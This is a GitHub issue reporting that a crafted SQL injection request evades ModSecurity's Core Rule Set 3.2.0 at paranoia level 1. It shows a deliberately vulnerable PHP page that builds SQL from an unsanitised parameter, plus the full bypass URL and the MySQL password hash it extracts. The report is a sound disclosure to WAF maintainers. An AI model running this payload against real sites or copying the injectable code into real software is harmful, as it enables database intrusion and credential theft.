


## SQLi bypass at PL1(CRS 3.2.0) #1727

 **Open** seedis opened this issue on Mar 28, 2020 · 1 comment

Labels

False Negative - Evasion

seedis commented on Mar 28, 2020 • edited

## Description

Fuzz found that the following request can bypass modsecurity rules and implement SQLi injection.  
sample code: user.php (id parameter has SQL injection security issues)

```
<?php
echo "<head><title>SQL injection demo</title></head>";
$id=$_GET['id'];
$conn=new mysqli('127.0.0.1','root','root','test');
if(!$conn){
    die("Error to connect database!");
}
$sql="select username from user where id={$id}";
# echo "$sql". "</br></br>";
$res=$conn->query($sql);
if($res){
    $row=$res->fetch_row();
    echo "\t Hello <b>".htmlspecialchars($row[0])." </b>,having a good day!";
    $res->free();
    $conn->close();
}
else{
    echo "<b>error</b>";
}
?>
```

Database table contents:

```
mysql> use test;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select * from user;
+-----+-----+-----+
| id | username | passwd |
+-----+-----+-----+
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 |
| 2 | root | 63a9f0ea7bb98050796b649e85481845 |
| 3 | test | 098f6bcd4621d373cade4e832627b4f6 |
+-----+-----+-----+
3 rows in set (0.00 sec)
The request is as follows:
```


Normal request

http://127.0.0.1/user.php?id=1

 127.0.0.1/user.php?id=1
Hello **admin** ,having a good day!

evil request:

id=1 and 1=1 (blocked by CRS)

 127.0.0.1/user.php?id=1%20and%201=1

403 Forbidden

nginx/1.16.1

request(bypass CRS3.2.0) for SQL injection:

http://127.0.0.1/user.php?id@.=right(right((select authentication\_string from mysql.user limit 0,1),1111),1111) union%23%adistinctrow%0bselect@.

Load URL

Split URL

Execute

http://127.0.0.1/user.php?id=@::=right(right((select authentication\_string from mysql.user limit 0,1),1111),1111) union%23%0adistinctrow%0bselect@.

☐ Post data

☐ Referrer

0xHEX

%URL

BASE64

Insert string to replace

Insert replacing string

Hello \*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B ,having a good day!

It can be seen that the user password in the user table in the mysql database is successfully obtained through this bypass method.

Environment

- CRS version (e.g., v3.2.0): v3.2.0
- Paranoia level setting: PL1
- ModSecurity version (e.g., 2.9.3): 2.9.3/3.0.4
- Web Server and version (e.g. apache 2.4.41): apache2.4.18/nginx1.16.1
- Operating System and version: Ubuntu18.04
- Mysql Version: 5.7.29

Looking forward to fixing it as soon as possible beacause it threatens the security of the database content.

 **seedis** added the `False Negative - Evasion` label on Mar 28, 2020

seedis commented on Apr 2, 2020 • edited 

Author

@dune73 Can you help reproduce this bypass tricks when you have free time(I have added my database structure information above for easy reproduction).Looking forward to your reply, thanks.

 **franbuehler** mentioned this issue on May 4, 2020

Monthly Chat Agenda May (2020-05-04) #1749

 Closed

 **CRS-migration-bot** mentioned this issue on May 13, 2020

SQLi bypass at PL1(CRS 3.2.0) coreruleset/coreruleset#1727

 Closed

Assignees

No one assigned

Labels

False Negative - Evasion

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

